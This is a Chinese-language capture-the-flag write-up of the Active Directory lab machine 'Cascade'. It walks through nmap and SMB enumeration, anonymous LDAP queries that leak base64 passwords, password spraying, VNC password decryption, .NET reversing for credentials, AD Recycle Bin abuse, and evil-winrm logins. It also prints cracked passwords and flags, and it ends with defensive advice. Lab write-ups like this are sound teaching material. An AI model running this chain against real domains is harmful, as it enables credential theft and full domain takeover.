[Meachines] [Medium] Cascade DC域+SMB+ldap查询+TightVNC 密码破译+.NET 应用分析+AD回收站凭据暴露权限提升
字数 1580 2025-08-20 18:18:11

Cascade 域渗透测试完整教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.182 --min-rate 1000 -sC -sV -Pn

发现开放端口及服务:

  • 53/tcp: Microsoft DNS (Windows Server 2008 R2 SP1)
  • 88/tcp: Kerberos
  • 135/tcp: MSRPC
  • 389/tcp: LDAP (Active Directory, Domain: cascade.local)
  • 445/tcp: SMB
  • 636/tcp: LDAPS
  • 3268/tcp: LDAP (Global Catalog)
  • 3269/tcp: LDAPS (Global Catalog)
  • 5985/tcp: WinRM (HTTPAPI 2.0)

1.2 SMB枚举

使用enum4linux枚举SMB共享:

enum4linux 10.10.10.182

发现用户列表:

  • CascGuest
  • arksvc
  • s.smith
  • r.thompson
  • util
  • j.wakefield
  • s.hickson
  • j.goodhand
  • a.turnbull
  • e.crowe
  • b.hanson
  • d.burman
  • BackupSvc
  • j.allen
  • i.croft

2. LDAP信息收集

2.1 基础LDAP查询

ldapsearch -H ldap://10.10.10.182 -x -s base namingcontexts

2.2 域内搜索

ldapsearch -H ldap://10.10.10.182 -x -b "DC=cascade,DC=local"

发现关键信息:

  • cascadeLegacyPwd: clk0bjVldmE= (base64编码的密码)

解码密码:

echo 'clk0bjVldmE=' | base64 -d
# 结果为:rY4n5eva

3. SMB凭证测试

使用破解的密码测试SMB访问:

crackmapexec smb 10.10.10.182 -u users.txt -p 'rY4n5eva'

发现用户r.thompson使用此密码有效。

3.1 SMB共享枚举

smbmap -H 10.10.10.182 -u r.thompson -p rY4n5eva

发现可访问的共享:

  • Data共享

3.2 下载共享文件

smbclient //10.10.10.182/data --user 'r.thompson'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

在下载的文件中发现VNC安装配置:

  • IT/Temp/s.smith/VNC Install.reg
  • 包含加密的VNC密码:"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

4. VNC密码破解

使用vncpwd工具解密:

echo '6bcf2a4b6e5aca0f' | xxd -r -p > pass
./vncpwd pass
# 解密得到密码:sT333ve2

5. 初始访问

使用破解的凭证通过WinRM登录:

evil-winrm -u s.smith -p sT333ve2 -i 10.10.10.182

获取user flag:

38bf2049347ff4746729149bcd08fb87

6. 权限提升路径

6.1 用户组分析

net user s.smith
# 发现属于以下组:
# - Audit Share
# - IT
# - Remote Management Users

6.2 Audit共享分析

访问Audit$共享:

smbclient //10.10.10.182/Audit$ --user 's.smith'
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

发现关键文件:

  • RunAudit.bat
  • CascAudit.exe
  • DB文件夹

6.3 .NET应用逆向分析

使用dnSpy分析CascAudit.exe:

  1. 发现应用从SQLite数据库读取加密的LDAP连接凭据
  2. 解密后连接到LDAP服务器
  3. 查询被删除的用户
  4. 将信息插入SQLite数据库的DeletedUserAudit表中

关键解密函数:

// 解密密码为:"w3lc0meFr31nd\0\0\0"

6.4 使用新凭证

测试新凭证:

crackmapexec winrm 10.10.10.182 -u users.txt -p w3lc0meFr31nd --continue-on-success

发现用户arksvc使用此密码有效。

通过WinRM登录:

evil-winrm -u arksvc -p "w3lc0meFr31nd" -i 10.10.10.182

7. AD回收站利用

7.1 查询已删除对象

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

发现已删除用户:

  • TempAdmin

7.2 获取TempAdmin详细信息

Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *

发现base64编码的密码:

cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz

解码:

echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
# 结果为:baCT3r1aN00dles

8. 最终权限提升

使用管理员凭证登录:

evil-winrm -u administrator -p baCT3r1aN00dles -i 10.10.10.182

获取root flag:

cd061c9640340417ddbb44196ece4305

9. 关键知识点总结

  1. LDAP信息泄露:通过匿名LDAP查询获取cascadeLegacyPwd属性
  2. 密码重用:发现多个用户使用相同密码
  3. VNC密码解密:从注册表文件中提取并解密VNC凭证
  4. 共享审计:通过Audit共享获取.NET应用程序
  5. .NET逆向:分析CascAudit.exe获取LDAP凭据
  6. AD回收站:查询已删除对象获取TempAdmin账户
  7. 密码复用:TempAdmin与Administrator密码相同

10. 防御建议

  1. 禁用匿名LDAP查询
  2. 避免在LDAP属性中存储明文或可逆加密的密码
  3. 实施最小权限原则,限制共享访问
  4. 定期审计和清理AD回收站
  5. 避免管理员账户密码复用
  6. 对包含敏感信息的.NET应用程序进行混淆处理
  7. 实施凭证隔离,不同服务使用不同凭证
Cascade 域渗透测试完整教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现开放端口及服务: 53/tcp: Microsoft DNS (Windows Server 2008 R2 SP1) 88/tcp: Kerberos 135/tcp: MSRPC 389/tcp: LDAP (Active Directory, Domain: cascade.local) 445/tcp: SMB 636/tcp: LDAPS 3268/tcp: LDAP (Global Catalog) 3269/tcp: LDAPS (Global Catalog) 5985/tcp: WinRM (HTTPAPI 2.0) 1.2 SMB枚举 使用enum4linux枚举SMB共享: 发现用户列表: CascGuest arksvc s.smith r.thompson util j.wakefield s.hickson j.goodhand a.turnbull e.crowe b.hanson d.burman BackupSvc j.allen i.croft 2. LDAP信息收集 2.1 基础LDAP查询 2.2 域内搜索 发现关键信息: cascadeLegacyPwd: clk0bjVldmE= (base64编码的密码) 解码密码: 3. SMB凭证测试 使用破解的密码测试SMB访问: 发现用户 r.thompson 使用此密码有效。 3.1 SMB共享枚举 发现可访问的共享: Data共享 3.2 下载共享文件 在下载的文件中发现VNC安装配置: IT/Temp/s.smith/VNC Install.reg 包含加密的VNC密码: "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f 4. VNC密码破解 使用vncpwd工具解密: 5. 初始访问 使用破解的凭证通过WinRM登录: 获取user flag: 6. 权限提升路径 6.1 用户组分析 6.2 Audit共享分析 访问Audit$共享: 发现关键文件: RunAudit.bat CascAudit.exe DB 文件夹 6.3 .NET应用逆向分析 使用dnSpy分析CascAudit.exe: 发现应用从SQLite数据库读取加密的LDAP连接凭据 解密后连接到LDAP服务器 查询被删除的用户 将信息插入SQLite数据库的DeletedUserAudit表中 关键解密函数: 6.4 使用新凭证 测试新凭证: 发现用户 arksvc 使用此密码有效。 通过WinRM登录: 7. AD回收站利用 7.1 查询已删除对象 发现已删除用户: TempAdmin 7.2 获取TempAdmin详细信息 发现base64编码的密码: 解码: 8. 最终权限提升 使用管理员凭证登录: 获取root flag: 9. 关键知识点总结 LDAP信息泄露 :通过匿名LDAP查询获取cascadeLegacyPwd属性 密码重用 :发现多个用户使用相同密码 VNC密码解密 :从注册表文件中提取并解密VNC凭证 共享审计 :通过Audit共享获取.NET应用程序 .NET逆向 :分析CascAudit.exe获取LDAP凭据 AD回收站 :查询已删除对象获取TempAdmin账户 密码复用 :TempAdmin与Administrator密码相同 10. 防御建议 禁用匿名LDAP查询 避免在LDAP属性中存储明文或可逆加密的密码 实施最小权限原则,限制共享访问 定期审计和清理AD回收站 避免管理员账户密码复用 对包含敏感信息的.NET应用程序进行混淆处理 实施凭证隔离,不同服务使用不同凭证